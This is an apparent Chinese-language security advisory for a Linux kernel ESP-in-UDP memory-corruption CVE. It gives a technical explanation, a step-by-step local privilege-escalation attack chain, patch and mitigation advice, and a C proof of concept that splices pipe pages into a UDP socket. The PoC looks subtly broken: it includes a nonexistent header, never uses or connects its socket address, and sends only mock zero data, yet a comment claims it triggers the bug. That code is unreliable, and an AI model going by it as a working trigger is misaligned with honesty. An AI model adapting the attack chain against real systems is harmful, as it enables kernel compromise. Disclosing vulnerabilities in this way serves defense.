IPBUF安全漏洞报告
English
CVE-2026-43284 CVSS 8.8 高危

CVE-2026-43284 Linux Kernel ESP解密内存损坏漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43284
漏洞类型
内存损坏
CVSS评分
8.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存损坏本地权限提升xfrmESPSKB

漏洞概述

Linux内核中的xfrm: esp组件存在安全漏洞。因UDP数据报拼接路径未设置SKBFL_SHARED_FRAG标志,ESP输入路径将共享管道页面误认为普通非线性skb,导致在非私有数据上进行原位解密,可能引发内存损坏或权限提升。

技术细节

该漏洞源于Linux内核网络子系统中对共享数据包缓冲区的处理不当。当使用MSG_SPLICE_PAGES将管道页面直接附加到skb时,TCP会正确标记SKBFL_SHARED_FRAG,但IPv4/IPv6的UDP路径缺失此标记。当处理ESP-in-UDP数据包时,如果这些数据包由共享管道页面构成,它们看起来像是未克隆的非线性skb。ESP输入代码会采用“无COW(写时复制)快速路径”,直接在原位解密数据。然而,由于这些页面是外部支持的共享页面,原位修改会破坏其他进程或内核结构的数据。攻击者利用此漏洞,通过构造特制的ESP-in-UDP数据包并利用splice机制,可在低权限下触发内核内存损坏,进而可能导致本地权限提升或系统崩溃。修复方案是在UDP拼接路径中添加SKBFL_SHARED_FRAG标志,并强制ESP输入在遇到该标志时回退到skb_cow_data()以确保数据私有化后再进行解密操作。

攻击链分析

STEP 1
步骤1:本地访问
攻击者获取低权限的本地系统访问权限。
STEP 2
步骤2:构造恶意数据
攻击者创建包含特制ESP-in-UDP数据包的内存页面,并通过管道进行传输。
STEP 3
步骤3:触发系统调用
使用splice系统调用将管道页面直接附加到UDP套接字发送数据包。
STEP 4
步骤4:内核错误处理
内核ESP输入路径未检测到共享内存标志,误用快速路径对共享数据进行原位解密。
STEP 5
步骤5:实现利用
导致内存损坏,进一步利用可造成内核崩溃或提升至Root权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for CVE-2026-43284 * Demonstrates the logic of splicing pages to a UDP socket * to trigger ESP in-place decryption on shared memory. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <fcntl.h> #include <sys/splice.h> void trigger_vulnerability() { int pipefd[2]; int udp_sock; struct sockaddr_in addr; // Create a pipe for shared pages if (pipe(pipefd) == -1) { perror("pipe"); return; } // Create a UDP socket (ESP-in-UDP usually port 4500) udp_sock = socket(AF_INET, SOCK_DGRAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(4500); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // In a real exploit, write a crafted ESP packet into the pipe char data[1024] = {0}; // Mock ESP packet data write(pipefd[1], data, sizeof(data)); // Splice data from pipe to UDP socket // This triggers the buggy path where SKBFL_SHARED_FRAG is missing // causing ESP to decrypt in-place on shared memory. splice(pipefd[0], NULL, udp_sock, NULL, sizeof(data), 0); close(udp_sock); close(pipefd[0]); close(pipefd[1]); } int main() { trigger_vulnerability(); return 0; }

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
建议尽快应用官方发布的内核补丁以修复此漏洞。若无法立即升级,应严格限制本地用户的执行权限,并监控异常的系统调用行为,但这仅作为临时手段,根本解决依赖于内核更新。

参考链接